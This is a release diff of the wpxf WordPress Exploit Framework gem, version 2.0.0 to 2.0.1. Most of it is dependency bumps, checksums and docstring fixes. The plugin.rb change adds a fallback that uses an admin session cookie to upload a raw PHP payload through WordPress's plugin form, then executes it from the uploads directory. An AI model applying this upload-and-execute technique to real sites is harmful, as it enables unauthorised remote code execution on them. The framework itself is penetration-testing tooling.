wpxf 2.0.0 → 2.0.1

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 2e6dc34b56da0fd68db342c296a60346337584ccccf3c1c03b54122e9f5bb164
-  data.tar.gz: 494ef8fd8cdae9d0e7989124005647cfe48c6fe431510d2a0c5e402ff4bd155e
+  metadata.gz: 7d5725813c55225ff4ab2155900d81f9d98d2cf4790060868a54068e585be457
+  data.tar.gz: 5f55b9c924bcb4e19e5ff34c66a811f1febf3c1ae8cc09d271354ca589f35bfd
 SHA512:
-  metadata.gz: d35e6556e102cdea7ac5d43b35b17dec338e2390f81b7977caf4a78de088a112e67f0be0295915f68004026c79d0e89067b4c422b705d17d4bd1256add2e699b
-  data.tar.gz: 5a10159e78df9016a51771f5eb9a123dd1abd5d6698d02d0923488949c445114aed24064e27710583600f08e661b4ddbcec5a30504d92525694a2d9efd5918e4
+  metadata.gz: 21b35d834691a1b0da0565115c695798fcf1436d6ed925217a7a71c2238869df8769cc1a40211e264c7ae1b4c8899114cd5552ff010b47f9ea2a926409224749
+  data.tar.gz: 66e3c9db00c3cb34f0637c4a32b667b3e3ea037f03d370755f00e83f21d5ab0aee4c404c29e98176e85b6e21ee5029c9a577992214246fa9cdc34b9177454275

data/data/json/commands.json

@@ -94,7 +94,7 @@
     },
     {
       "cmd": "use [module_path]",
-      "desc": "Loads the specified module into the current context."
+      "desc": "Load the specified module into the current context."
     },
     {
       "cmd": "workspace",

data/lib/wpxf/helpers/export.rb

@@ -34,7 +34,7 @@ module Wpxf
         File.join(storage_path, filename)
       end
 
-      # Save {content} to a new file and log the loot in the database.
+      # Save content to a new file and log the loot in the database.
       # @param content [String] the file content to save.
       # @param extension [String] the file extension to use when creating the file.
       # @return [Models::LootItem] the newly created {Models::LootItem}.

data/lib/wpxf/utility/body_builder.rb

@@ -71,6 +71,7 @@ module Wpxf
       private
 
       def _cleanup_temp_files(fields)
+        return if fields.nil?
         fields.each { |_k, v| v.close if v.is_a?(File) }
         FileUtils.rm_rf @temp_dir.to_s
       end

data/lib/wpxf/wordpress/file_download.rb

@@ -88,7 +88,7 @@ module Wpxf::WordPress::FileDownload
   end
 
   # Handles an occurrence of an unexpected result.
-  # @param [Integer] the returned HTTP code.
+  # @param code [Integer] the returned HTTP code.
   # @return [Boolean] true if the code should be ignored, false if the module should fail.
   def handle_unexpected_http_code(code)
     emit_error "Server responded with code #{code}"

data/lib/wpxf/wordpress/plugin.rb

@@ -21,6 +21,18 @@ module Wpxf::WordPress::Plugin
     return false if nonce.nil?
 
     res = _upload_plugin(name, payload_name, cookie, nonce)
+    res&.code == 200 && res.body !~ /plugin installation failed/i
+  end
+
+  # Upload the payload via the plugin form without packaging it in a ZIP file.
+  # @param payload_name [String] the name the payload should use on the server.
+  # @param cookie [String] a valid admin session cookie.
+  # @return [Boolean] true on success, false on error.
+  def upload_payload_using_plugin_form(payload_name, cookie)
+    nonce = fetch_plugin_upload_nonce(cookie)
+    return false if nonce.nil?
+
+    res = _upload_plugin(nil, payload_name, cookie, nonce, false)
     res&.code == 200
   end
 
@@ -30,18 +42,16 @@ module Wpxf::WordPress::Plugin
   # @param cookie [String] a valid admin session cookie.
   # @return [HttpResponse, nil] the {Wpxf::Net::HttpResponse} of the request.
   def upload_payload_as_plugin_and_execute(plugin_name, payload_name, cookie)
-    unless upload_payload_as_plugin(plugin_name, payload_name, cookie)
-      emit_error 'Failed to upload the payload'
-      return nil
-    end
+    uploaded_as_plugin = upload_payload_as_plugin(plugin_name, payload_name, cookie)
 
-    payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
-    emit_info "Executing the payload at #{payload_url}..."
-    res = execute_get_request(url: payload_url)
+    unless uploaded_as_plugin
+      unless upload_payload_using_plugin_form(payload_name, cookie)
+        emit_error 'Failed to upload the payload'
+        return nil
+      end
+    end
 
-    has_body = res&.code == 200 && !res.body.strip.empty?
-    emit_success "Result: #{res.body}" if has_body
-    res
+    _execute_payload_uploaded_as_plugin(uploaded_as_plugin ? plugin_name : nil, payload_name)
   end
 
   # Generate a valid WordPress plugin header / base file.
@@ -61,6 +71,24 @@ module Wpxf::WordPress::Plugin
 
   private
 
+  def _payload_url(plugin_name, payload_name)
+    if plugin_name.nil?
+      normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'), "#{payload_name}.php")
+    else
+      normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
+    end
+  end
+
+  def _execute_payload_uploaded_as_plugin(plugin_name, payload_name)
+    payload_url = _payload_url(plugin_name, payload_name)
+    emit_info "Executing the payload at #{payload_url}..."
+    res = execute_get_request(url: payload_url)
+
+    has_body = res&.code == 200 && !res.body.strip.empty?
+    emit_success "Result: #{res.body}" if has_body
+    res
+  end
+
   def _generate_wordpress_plugin_version
     "#{Wpxf::Utility::Text.rand_numeric(1)}."\
     "#{Wpxf::Utility::Text.rand_numeric(1)}."\
@@ -68,8 +96,8 @@ module Wpxf::WordPress::Plugin
   end
 
   # Build the body and return the response of the request.
-  def _upload_plugin(plugin_name, payload_name, cookie, nonce)
-    builder = _plugin_upload_builder(plugin_name, payload_name, nonce)
+  def _upload_plugin(plugin_name, payload_name, cookie, nonce, create_zip = true)
+    builder = _plugin_upload_builder(plugin_name, payload_name, nonce, create_zip)
     builder.create do |body|
       return execute_post_request(
         url: wordpress_url_admin_update,
@@ -90,13 +118,19 @@ module Wpxf::WordPress::Plugin
   end
 
   # A {BodyBuilder} with the required fields to upload a plugin.
-  def _plugin_upload_builder(plugin_name, payload_name, nonce)
-    zip_fields = _plugin_files(plugin_name, payload_name)
+  def _plugin_upload_builder(plugin_name, payload_name, nonce, create_zip = true)
     builder = Wpxf::Utility::BodyBuilder.new
     builder.add_field('_wpnonce', nonce)
     builder.add_field('_wp_http_referer', wordpress_url_plugin_upload)
-    builder.add_zip_file('pluginzip', zip_fields, "#{plugin_name}.zip")
     builder.add_field('install-plugin-submit', 'Install Now')
+
+    if create_zip
+      zip_fields = _plugin_files(plugin_name, payload_name)
+      builder.add_zip_file('pluginzip', zip_fields, "#{plugin_name}.zip")
+    else
+      builder.add_file_from_string('pluginzip', payload.encoded, "#{payload_name}.php")
+    end
+
     builder
   end
 end

data/wpxf.gemspec

@@ -2,12 +2,12 @@
 
 Gem::Specification.new do |s|
   s.name = 'wpxf'
-  s.version = '2.0.0'
-  s.date = '2018-07-14'
+  s.version = '2.0.1'
+  s.date = '2018-10-06'
   s.summary = 'WordPress Exploit Framework'
   s.description = 'A Ruby framework designed to aid in the penetration testing of WordPress systems'
   s.authors = ['rastating']
-  s.email = 'rob@rastating.com'
+  s.email = 'robert.carr@owasp.org'
   s.files = %w[lib db data bin].map { |d| Dir["#{d}/**/*"] }.flatten + ['wpxf.gemspec']
   s.homepage = 'https://github.com/rastating/wordpress-exploit-framework'
   s.license = 'GPL-3.0'
@@ -15,18 +15,18 @@ Gem::Specification.new do |s|
   s.required_ruby_version = '>= 2.4.4'
 
   s.add_dependency 'colorize', '~> 0.8'
-  s.add_dependency 'mime-types', '~> 3.1'
+  s.add_dependency 'mime-types', '~> 3.2'
   s.add_dependency 'nokogiri', '~> 1.8'
   s.add_dependency 'require_all', '~> 2.0'
   s.add_dependency 'rubyzip', '~> 1.2'
-  s.add_dependency 'sequel', '~> 5.11'
+  s.add_dependency 'sequel', '~> 5.13'
   s.add_dependency 'slop', '~> 4.6'
   s.add_dependency 'sqlite3', '~> 1.3'
   s.add_dependency 'typhoeus', '~> 1.3'
 
   s.add_development_dependency 'coveralls', '~> 0.8'
   s.add_development_dependency 'database_cleaner', '~> 1.7'
-  s.add_development_dependency 'rspec', '~> 3.7'
+  s.add_development_dependency 'rspec', '~> 3.8'
   s.add_development_dependency 'rspec_sequel_matchers', '~> 0.5'
   s.add_development_dependency 'yard', '~> 0.9'
 end

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: wpxf
 version: !ruby/object:Gem::Version
-  version: 2.0.0
+  version: 2.0.1
 platform: ruby
 authors:
 - rastating
 autorequire: 
 bindir: bin
 cert_chain: []
-date: 2018-07-14 00:00:00.000000000 Z
+date: 2018-10-06 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: colorize
@@ -30,14 +30,14 @@ dependencies:
     requirements:
     - - "~>"
       - !ruby/object:Gem::Version
-        version: '3.1'
+        version: '3.2'
   type: :runtime
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
     - - "~>"
       - !ruby/object:Gem::Version
-        version: '3.1'
+        version: '3.2'
 - !ruby/object:Gem::Dependency
   name: nokogiri
   requirement: !ruby/object:Gem::Requirement
@@ -86,14 +86,14 @@ dependencies:
     requirements:
     - - "~>"
       - !ruby/object:Gem::Version
-        version: '5.11'
+        version: '5.13'
   type: :runtime
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
     - - "~>"
       - !ruby/object:Gem::Version
-        version: '5.11'
+        version: '5.13'
 - !ruby/object:Gem::Dependency
   name: slop
   requirement: !ruby/object:Gem::Requirement
@@ -170,14 +170,14 @@ dependencies:
     requirements:
     - - "~>"
       - !ruby/object:Gem::Version
-        version: '3.7'
+        version: '3.8'
   type: :development
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
     - - "~>"
       - !ruby/object:Gem::Version
-        version: '3.7'
+        version: '3.8'
 - !ruby/object:Gem::Dependency
   name: rspec_sequel_matchers
   requirement: !ruby/object:Gem::Requirement
@@ -208,7 +208,7 @@ dependencies:
         version: '0.9'
 description: A Ruby framework designed to aid in the penetration testing of WordPress
   systems
-email: rob@rastating.com
+email: robert.carr@owasp.org
 executables:
 - wpxf
 extensions: []